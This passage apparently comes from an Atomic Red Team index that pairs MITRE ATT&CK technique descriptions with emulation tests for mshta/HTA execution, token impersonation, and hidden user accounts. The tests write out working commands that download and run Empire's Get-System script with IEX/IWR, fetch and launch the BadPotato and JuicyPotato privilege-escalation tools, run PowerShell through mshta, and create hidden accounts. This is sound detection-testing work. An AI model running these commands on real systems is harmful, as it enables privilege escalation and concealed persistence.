          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine
          #{script_engine} -SimulateUserDoubleClick'
        name: powershell
    - name: Invoke HTML Application - Direct download from URI
      auto_generated_guid: 39ceed55-f653-48ac-bd19-aceceaf525db
      description: Executes an HTA Application by directly downloading from remote
        URI.
      supported_platforms:
      - windows
      input_arguments:
        mshta_file_path:
          description: Location of mshta.exe
          type: string
          default: "$env:windir\\system32\\mshta.exe"
        hta_uri:
          description: URI to HTA
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/24549e3866407c3080b95b6afebf78e8acd23352/atomics/T1218.005/src/T1218.005.hta
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}'
        name: powershell
    - name: Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol
        Handler
      auto_generated_guid: e7e3a525-7612-4d68-a5d3-c4649181b8af
      description: Executes an HTA Application with JScript Engine, Rundll32 and Inline
        Protocol Handler.
      supported_platforms:
      - windows
      input_arguments:
        rundll32_file_path:
          description: Location of rundll32.exe
          type: path
          default: "$env:windir\\system32\\rundll32.exe"
        script_engine:
          description: Script Engine to use
          type: string
          default: JScript
        protocol_handler:
          description: Protocol Handler to use
          type: string
          default: About
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler
          #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}'
        name: powershell
    - name: Invoke HTML Application - JScript Engine with Inline Protocol Handler
      auto_generated_guid: d3eaaf6a-cdb1-44a9-9ede-b6c337d0d840
      description: Executes an HTA Application with JScript Engine and Inline Protocol
        Handler.
      supported_platforms:
      - windows
      input_arguments:
        mshta_file_path:
          description: Location of mshta.exe
          type: path
          default: "$env:windir\\system32\\mshta.exe"
        script_engine:
          description: Script Engine to use
          type: string
          default: JScript
        protocol_handler:
          description: Protocol Handler to use
          type: string
          default: About
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler
          #{protocol_handler} -MSHTAFilePath #{mshta_file_path}'
        name: powershell
    - name: Invoke HTML Application - Simulate Lateral Movement over UNC Path
      auto_generated_guid: b8a8bdb2-7eae-490d-8251-d5e0295b2362
      description: Executes an HTA Application with Simulate lateral movement over
        UNC Path.
      supported_platforms:
      - windows
      input_arguments:
        mshta_file_path:
          description: Location of mshta.exe
          type: string
          default: "$env:windir\\system32\\mshta.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath
          #{mshta_file_path}'
        name: powershell
    - name: Mshta used to Execute PowerShell
      auto_generated_guid: 8707a805-2b76-4f32-b1c0-14e558205772
      description: 'Use Mshta to execute arbitrary PowerShell. Example is from the
        2021 Threat Detection Report by Red Canary.

        '
      supported_platforms:
      - windows
      input_arguments:
        message:
          description: Encoded message to include
          type: string
          default: Hello,%20MSHTA!
        seconds_to_sleep:
          description: How many seconds to sleep/wait
          type: integer
          default: 5
      executor:
        command: 'mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}"""))</script>''"

          '
        name: command_prompt
  T1480:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Nick Carr, Mandiant
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852
      created: '2019-01-31T02:10:08.261Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1480
        url: https://attack.mitre.org/techniques/T1480
      - source_name: FireEye Outlook Dec 2019
        url: https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html
        description: 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking
          the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved
          June 23, 2020.'
      - source_name: FireEye Kevin Mandia Guardrails
        url: https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/
        description: Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says
          U.S. malware is more restrained than adversaries'. Retrieved January 17,
          2019.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)

        Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Execution Guardrails
      x_mitre_detection: Detecting the use of guardrails may be difficult depending
        on the implementation. Monitoring for suspicious processes being spawned that
        gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007),
        especially in a short period of time, may aid in detection.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host Forensic Analysis
      - Signature-based Detection
      - Static File Analysis
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1134.001:
    technique:
      modified: '2024-01-10T17:57:36.177Z'
      name: 'Access Token Manipulation: Token Impersonation/Theft'
      description: |-
        Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.

        An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

        When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Jonny Johnson
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      type: attack-pattern
      id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d
      created: '2020-02-18T16:39:06.289Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134/001
        external_id: T1134.001
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: DuplicateToken function
        description: Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h).
          Retrieved January 8, 2024.
        url: https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1134.001
    atomic_tests:
    - name: Named pipe client impersonation
      auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

        Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
        name: powershell
        elevation_required: true
    - name: "`SeDebugPrivilege` token duplication"
      auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0
      description: |-
        Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
        When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
        name: powershell
        elevation_required: true
    - name: Launch NSudo Executable
      auto_generated_guid: 7be1bc0f-d8e5-4345-9333-f5f67d742cb9
      description: |-
        Launches the NSudo executable for a short period of time and then exits.
        NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.
      supported_platforms:
      - windows
      input_arguments:
        nsudo_path:
          description: Path to the NSudoLG.exe file
          type: path
          default: PathToAtomicsFolder\T1134.001\bin\NSudoLG.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'NSudoLG.exe must exist in the specified path #{nsudo_path}

          '
        prereq_command: 'if (Test-Path "#{nsudo_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" "https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip"
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" "#{nsudo_path}"
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -Recurse -ErrorAction Ignore
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Recurse -ErrorAction Ignore
      executor:
        command: |
          Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"
          Start-Sleep -Second 5
          Stop-Process -Name "cmd" -force -erroraction silentlycontinue
        name: powershell
    - name: Bad Potato
      auto_generated_guid: 9c6d799b-c111-4749-a42f-ec2f8cb51448
      description: |-
        https://github.com/BeichenDream/BadPotato
        Privilege escalation using named pipe connections
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'BadPotato.exe must exist in the temp directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe" "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true"
      executor:
        command: |
          cd "PathToAtomicsFolder\..\ExternalPayloads"
          Start-Process .\BadPotato.exe notepad.exe
          Start-Sleep -Second 20
          Stop-Process -Name "notepad" -force -erroraction silentlycontinue
          Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue
        cleanup_command: 'taskkill /f /im notepad.exe

          '
        name: powershell
        elevation_required: true
    - name: Juicy Potato
      auto_generated_guid: f095e373-b936-4eb4-8d22-f47ccbfbe64a
      description: "This Atomic utilizes Juicy Potato to obtain privilege escalation.
        \nUpon successful execution of this test, a vulnerable CLSID will be used
        to execute a process with system permissions.\nThis tactic has been previously
        observed in SnapMC Ransomware, amongst numerous other campaigns. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)"
      supported_platforms:
      - windows
      input_arguments:
        potato_path:
          description: Path to the JuicyPotato.exe file
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe
        listening_port:
          description: COM server listen port
          type: integer
          default: 7777
        target_exe:
          description: Target executable to launch with system privileges
          type: path
          default: "$env:windir\\system32\\notepad.exe"
        target_CLSID:
          description: Vulnerable CLSID to impersonate privileges
          type: string
          default: "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"
      dependency_executor_name: powershell
      dependencies:
      - description: 'JuicyPotato.exe must exist on disk

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe" "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe"
      executor:
        command: 'cmd /c ''#{potato_path}'' -l ''#{listening_port}'' -t * -p ''#{target_exe}''
          -c ''#{target_CLSID}''

          '
        cleanup_command: |
          get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null
          get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null
        name: powershell
        elevation_required: true
  T1205.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
      type: attack-pattern
      created: '2020-07-01T18:23:25.002Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1205.001
        url: https://attack.mitre.org/techniques/T1205/001
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      modified: '2022-05-11T14:00:00.188Z'
      name: Port Knocking
      description: |-
        Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

        This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: Record network packets sent to and from the system, looking
        for extraneous packets that do not belong to established flows.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1027.012:
    technique:
      modified: '2023-10-17T02:12:05.242Z'
      name: LNK Icon Smuggling
      description: "Adversaries may smuggle commands to download malicious payloads
        past content filters by hiding them within otherwise seemingly benign windows
        shortcut files. Windows shortcut files (.LNK) include many metadata fields,
        including an icon location field (also known as the `IconEnvironmentDataBlock`)
        designed to specify the path to an icon file that is to be displayed for the
        LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata
        to download malicious payloads. For example, adversaries have been observed
        using LNK files as phishing payloads to deliver malware. Once invoked (e.g.,
        [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads
        referenced via external URLs within the LNK icon location field may be downloaded.
        These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System
        Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments
        within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation:
        Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post
        compromise, such as malicious scripts executing an LNK on an infected host
        to download additional malicious payloads. \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Michael Raggi @aRtAGGI
      - Andrew Northern, @ex_raritas
      - Gregory Lesnewich, @greglesnewich
      x_mitre_deprecated: false
      x_mitre_detection: "\n"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc
      created: '2023-09-29T15:28:42.409Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/012
        external_id: T1027.012
      - source_name: Unprotect Shortcut
        description: Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved
          October 3, 2023.
        url: https://unprotect.it/technique/shortcut-hiding/
      - source_name: Booby Trap Shortcut 2017
        description: Weyne, F. (2017, April). Booby trap a shortcut with a backdoor.
          Retrieved October 3, 2023.
        url: https://www.uperesia.com/booby-trapped-shortcut
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1564.002:
    technique:
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Omkar Gudhate
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d
      created: '2020-03-13T20:12:40.876Z'
      x_mitre_version: '1.2'
      external_references:
      - source_name: mitre-attack
        external_id: T1564.002
        url: https://attack.mitre.org/techniques/T1564/002
      - source_name: Cybereason OSX Pirrit
        url: https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
          December 10, 2021.
      - source_name: Apple Support Hide a User Account
        url: https://support.apple.com/en-us/HT203998
        description: Apple. (2020, November 30). Hide a user account in macOS. Retrieved
          December 10, 2021.
      - source_name: FireEye SMOKEDHAM June 2021
        url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
        description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s
          Supply Chain Software Compromise. Retrieved September 22, 2021.
      - source_name: Hide GDM User Accounts
        url: https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/
        description: Ji Mingkui. (2021, June 17). How to Hide All The User Accounts
          in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.
      - source_name: US-CERT TA18-074A
        url: https://www.us-cert.gov/ncas/alerts/TA18-074A
        description: 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government
          Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors.
          Retrieved June 6, 2018.'
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may use hidden users to hide the presence of user
        accounts they create or modify. Administrators may want to hide users when
        there are many user accounts on a given system or if they want to hide their
        administrative or other management accounts from other users. \n\nIn macOS,
        adversaries can create or modify a user to be hidden through manipulating
        plist files, folder attributes, and user attributes. To prevent a user from
        being shown on the login screen and in System Preferences, adversaries can
        set the userID to be under 500 and set the key value <code>Hide500Users</code>
        to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code>
        plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated
        with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>,
        users with a userID under 500 do not appear on the login screen and in System
        Preferences. Using the command line, adversaries can use the <code>dscl</code>
        utility to create hidden user accounts by setting the <code>IsHidden</code>
        attribute to <code>1</code>. Adversaries can also hide a user’s home folder
        by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide
        a User Account) \n\nAdversaries may similarly hide user accounts in Windows.
        Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code>
        Registry key value to <code>0</code> for a specific user to prevent that user
        from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation:
        US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts
        from the login screen, also referred to as the greeter. The method an adversary
        may use depends on which Display Manager the distribution is currently using.
        For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts
        may be hidden from the greeter using the <code>gsettings</code> command (ex:
        <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation:
        Hide GDM User Accounts) Display Managers are not anchored to specific distributions
        and may be changed by a user or adversary."
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Hide Artifacts: Hidden Users'
      x_mitre_detection: "Monitor for users that may be hidden from the login screen
        but still present in additional artifacts of usage such as directories and
        authentication logs. \n\nMonitor processes and command-line events for actions
        that could be taken to add a new user and subsequently hide it from login
        screens. Monitor Registry events for modifications to the <code>HKLM\\SOFTWARE\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> key.\n\nIn
        macOS, monitor for commands, processes, and file activity in combination with
        a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor
        for modifications to set the <code>Hide500Users</code> key value to <code>TRUE</code>
        in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.
        Monitor the command line for usage of the <code>dscl . create</code> command
        with the <code>IsHidden</code> attribute set to <code>1</code>.(Citation:
        Apple Support Hide a User Account) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'User Account: User Account Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'User Account: User Account Metadata'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1564.002
    atomic_tests:
    - name: Create Hidden User using UniqueID < 500
      auto_generated_guid: 4238a7f0-a980-4fff-98a2-dfc0a363d507
      description: 'Add a hidden user on macOS using Unique ID < 500 (users with that
        ID are hidden by default)

        '
      supported_platforms:
      - macos
      input_arguments:
        user_name:
          description: username to add
          type: string
          default: APT
      executor:
        command: 'sudo dscl . -create /Users/#{user_name} UniqueID 333

          '
        cleanup_command: 'sudo dscl . -delete /Users/#{user_name}

          '
        elevation_required: true
        name: sh
    - name: Create Hidden User using IsHidden option
      auto_generated_guid: de87ed7b-52c3-43fd-9554-730f695e7f31
      description: 'Add a hidden user on macOS using IsHidden optoin

        '
      supported_platforms:
      - macos
      input_arguments:
        user_name:
          description: username to add
          type: string
          default: APT
      executor:
        command: 'sudo dscl . -create /Users/#{user_name} IsHidden 1

          '
        cleanup_command: 'sudo dscl . -delete /Users/#{user_name}

          '
        elevation_required: true
        name: sh
    - name: Create Hidden User in Registry
      auto_generated_guid: 173126b7-afe4-45eb-8680-fa9f6400431c
      description: |
        Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.
        Reference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
      supported_platforms:
      - windows
      input_arguments:
        user_password:
          description: Password for new user account
          type: string
          default: At0micRedTeam!
        user_name:
          description: Username
          type: string
          default: AtomicOperator
      executor:
        command: "NET USER #{user_name}$ #{user_password} /ADD /expires:never \nREG
          ADD \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\"
          /v #{user_name}$ /t REG_DWORD /d 0\n"
        cleanup_command: |
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v #{user_name}$ /f >nul 2>&1
          net user ${user_name}$ /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1134.003:
    technique:
      modified: '2024-01-10T17:55:46.905Z'
      name: Make and Impersonate Token
      description: |-
        Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

